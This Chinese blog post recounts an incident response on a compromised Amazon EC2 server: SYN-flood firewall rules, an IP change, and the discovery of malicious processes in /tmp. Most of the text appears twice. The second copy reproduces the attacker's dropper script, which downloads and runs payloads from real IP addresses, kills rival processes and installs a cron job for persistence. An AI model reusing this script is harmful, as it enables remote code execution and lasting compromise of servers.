服务器遭受攻击
2014-01-14 17:04
295 查看
亚马逊上ec2发来邮件Your Amazon EC2 Abuse Report,说是流量超标,It's possible that your environment has been compromised by an external attacker让我们自己检查检查。
开始检查:使用who命令查看的时候,只有我一个人在今天登陆的痕迹;接下来使用last命令,看到最近有几个人在登陆成功,有一个ip地址非常的奇怪,在ip地址后面加了S;用tcpdump分析数据的流向,发现自己的服务器总是向一个服务器发送包(tcp port 80),查看80端口数据流向看出来的。
因为也没有经验,就将报的错误google了下,发现有人的log和我的类似,可能会是SYN攻击,简单的来说就是利用三次握手协议,耗尽服务器的宝贵的资源,http://www.study-area.org/tips/syn_flood.htm, 一点介绍吧
log中显示
2014-01-06 19:32:27.508614 IP (tos 0x0, ttl 64, id 46584, offset 0, flags [DF], proto TCP (6), length 60) 10.134.181.166.47682 >200.156.100.119.80: Flags [S], cksum 0xed6e (incorrect> 0xe3d1), seq 368868445, win 14600, options [mss 1460,sackOK,TS val 600296754 ecr 0,nop,wscale 7], length 0
于是看了网上的建议:首先建立防火墙,不行再换ip,再不行就换instance,重启服务。
首先第一步:建立防火墙
只开启我们服务需要的相应的端口,比如80端口 ,8080端口,当然,在脚本中写入防SYN攻击
iptables -A synflood -m limit --limit 10/s --limit-burst 1000 -j RETURN
iptables -A synflood -p tcp -j REJECT --reject-with tcp-reset
iptables -A INPUT -p tcp -m state --state NEW -j synflood
刚开始是好的,亚马逊发来贺电^ ^,详细询问了情况,但是过了两天,亚马逊又发来贺电说服务器的流量有问题,之前的修改防火墙貌似没有奏效
执行第二步:修改ip地址
之前用过亚马逊的ec2,好害怕会停,停了之后就会数据会掉,赶紧备份个,其实在边上的AMI上相当于镜像,是最后被逼无奈的时候用的,可能数据库什么的都会掉写数据,毕竟没有做热备份
在Elastic中选择ip地址,allocate到相应的instance中,如果有域名,可别忘了提前在域名服务器中修改对应的域名哈
换了ip地址之后,用free命令看时,使用的内存降低了,降低了200多M,但是原因不再于此,现在回想起来可能是连接数少了,所以内存减小了【总之有疑问】
亚马逊的邮件还是发个不停,这时候我觉得有问题了,或许问题不在外面,而是在我的服务器上。
执行第三步:查看我自身的系统tcpdump的结果是系统的80端口数据流量有问题,
![](http://s3.51cto.com/wyfs02/M00/11/8F/wKiom1LU_a7DH7-VABHaSF0DsUQ509.jpg)
使用netstat -ant|grep 80,其中有好几个都是由名字叫php的进程开启的,据我所知的服务不涉及php,于是用ps aux|grep php查看进程,发现了大量的名字均为php的进程,并且占用内存和cpu相当的高,用pkill 杀死之后,马上查看tcpdump数据,发现数据量马上变化
![](http://s3.51cto.com/wyfs02/M02/11/8F/wKioL1LU_drSlu9OAAoq1Q2-aMg429.jpg)
,但是过了不到5分钟,流量又出现原来的问题,由此所知,可能不止一个这样的脚本,并且或许写到了cron或者拥有守护进程,脚本的路径在/tmp下
使用top查看,又出现了类似与php的perl进程名字,这里肯定就有问题了
使用more查看不了php,因为是二进制文件,加密过,在tmp下又发现了一个shell脚本:内容我贴上来:
我在这个网址只能找到这个shell脚本,其他的有的不在,有的已经加密了,看来这哥们已经在系统上做升级了,
执行第四步:将找到的脚本全都移除,杀死,ok
回想:我这次主要是判断方向出错,判断的时候使用:netstat -n -p TCP,有很多SYN_RECV的,即处于半链接状态的就是SYN攻击,还有top,tcpdump非常非常有用(port 80),还有,防火墙必须设置成 不能被扫描到;数据一定一定备份~~~
开始检查:使用who命令查看的时候,只有我一个人在今天登陆的痕迹;接下来使用last命令,看到最近有几个人在登陆成功,有一个ip地址非常的奇怪,在ip地址后面加了S;用tcpdump分析数据的流向,发现自己的服务器总是向一个服务器发送包(tcp port 80),查看80端口数据流向看出来的。
因为也没有经验,就将报的错误google了下,发现有人的log和我的类似,可能会是SYN攻击,简单的来说就是利用三次握手协议,耗尽服务器的宝贵的资源,http://www.study-area.org/tips/syn_flood.htm, 一点介绍吧
log中显示
2014-01-06 19:32:27.508614 IP (tos 0x0, ttl 64, id 46584, offset 0, flags [DF], proto TCP (6), length 60) 10.134.181.166.47682 >200.156.100.119.80: Flags [S], cksum 0xed6e (incorrect> 0xe3d1), seq 368868445, win 14600, options [mss 1460,sackOK,TS val 600296754 ecr 0,nop,wscale 7], length 0
于是看了网上的建议:首先建立防火墙,不行再换ip,再不行就换instance,重启服务。
首先第一步:建立防火墙
只开启我们服务需要的相应的端口,比如80端口 ,8080端口,当然,在脚本中写入防SYN攻击
iptables -A synflood -m limit --limit 10/s --limit-burst 1000 -j RETURN
iptables -A synflood -p tcp -j REJECT --reject-with tcp-reset
iptables -A INPUT -p tcp -m state --state NEW -j synflood
刚开始是好的,亚马逊发来贺电^ ^,详细询问了情况,但是过了两天,亚马逊又发来贺电说服务器的流量有问题,之前的修改防火墙貌似没有奏效
执行第二步:修改ip地址
之前用过亚马逊的ec2,好害怕会停,停了之后就会数据会掉,赶紧备份个,其实在边上的AMI上相当于镜像,是最后被逼无奈的时候用的,可能数据库什么的都会掉写数据,毕竟没有做热备份
在Elastic中选择ip地址,allocate到相应的instance中,如果有域名,可别忘了提前在域名服务器中修改对应的域名哈
换了ip地址之后,用free命令看时,使用的内存降低了,降低了200多M,但是原因不再于此,现在回想起来可能是连接数少了,所以内存减小了【总之有疑问】
亚马逊的邮件还是发个不停,这时候我觉得有问题了,或许问题不在外面,而是在我的服务器上。
执行第三步:查看我自身的系统tcpdump的结果是系统的80端口数据流量有问题,
![](http://s3.51cto.com/wyfs02/M00/11/8F/wKiom1LU_a7DH7-VABHaSF0DsUQ509.jpg)
使用netstat -ant|grep 80,其中有好几个都是由名字叫php的进程开启的,据我所知的服务不涉及php,于是用ps aux|grep php查看进程,发现了大量的名字均为php的进程,并且占用内存和cpu相当的高,用pkill 杀死之后,马上查看tcpdump数据,发现数据量马上变化
![](http://s3.51cto.com/wyfs02/M02/11/8F/wKioL1LU_drSlu9OAAoq1Q2-aMg429.jpg)
,但是过了不到5分钟,流量又出现原来的问题,由此所知,可能不止一个这样的脚本,并且或许写到了cron或者拥有守护进程,脚本的路径在/tmp下
使用top查看,又出现了类似与php的perl进程名字,这里肯定就有问题了
使用more查看不了php,因为是二进制文件,加密过,在tmp下又发现了一个shell脚本:内容我贴上来:
#!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/shb -O ..a chmod +x ..a ./..a cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru cd /dev/shm; wget 193.12.247.103/ru ; bash ru ; rm -rf ru killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php killall -9 .rnd killall -9 .a killall -9 dev killall -9 sh killall -9 bash killall -9 apache2 killall -9 httpd killall -9 cla killall -9 ka killall -9 kav killall -9 m32 killall -9 m64 killall -9 perl killall -9 sh killall -9 sucrack kill -9 `pidof .rnd` kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w` kill -9 `pidof dev` kill -9 `pidof perl` kill -9 `pidof m32` kill -9 `pidof m64` kill -9 `pidof ka` kill -9 `pidof kav` kill -9 `pidof cla` kill -9 `pidof sh` kill -9 `pidof sucrack` echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron crontab /tmp/cronrm -rf /tmp/cron
我在这个网址只能找到这个shell脚本,其他的有的不在,有的已经加密了,看来这哥们已经在系统上做升级了,
执行第四步:将找到的脚本全都移除,杀死,ok
回想:我这次主要是判断方向出错,判断的时候使用:netstat -n -p TCP,有很多SYN_RECV的,即处于半链接状态的就是SYN攻击,还有top,tcpdump非常非常有用(port 80),还有,防火墙必须设置成 不能被扫描到;数据一定一定备份~~~
相关文章推荐
- 服务器遭受DDOS攻击类型判断
- 服务器遭受的一次攻击
- 服务器遭受 ssh 攻击
- 安全运维之:服务器遭受攻击后的一般处理过程
- 保护服务器安全避免遭受攻击
- 如何检验linux 、elastix服务器是否遭受过攻击
- 安全运维之:服务器遭受攻击后的一般处理过程
- 服务器可能遭受攻击汇总
- 安全运维之:服务器遭受攻击后的一般处理过程
- 安全运维之:服务器遭受攻击后的一般处理过程
- DNS服务器能遭受到的DDNS攻击类型
- 安全运维之:服务器遭受攻击后的一般处理过程
- 服务器可能遭受攻击汇总
- DHCP服务器遭受攻击的解决过程
- 服务器遭受攻击的解决办法
- 服务器遭受攻击后的一般处理过程
- 阿里云官方推荐《服务器遭受攻击后的处理流程》
- 如何检验linux 、elastix服务器是否遭受过攻击
- 本人服务器遭受黑客长期攻击,特把这几天做的一些有用的安全方面总结出来,以方便以后查阅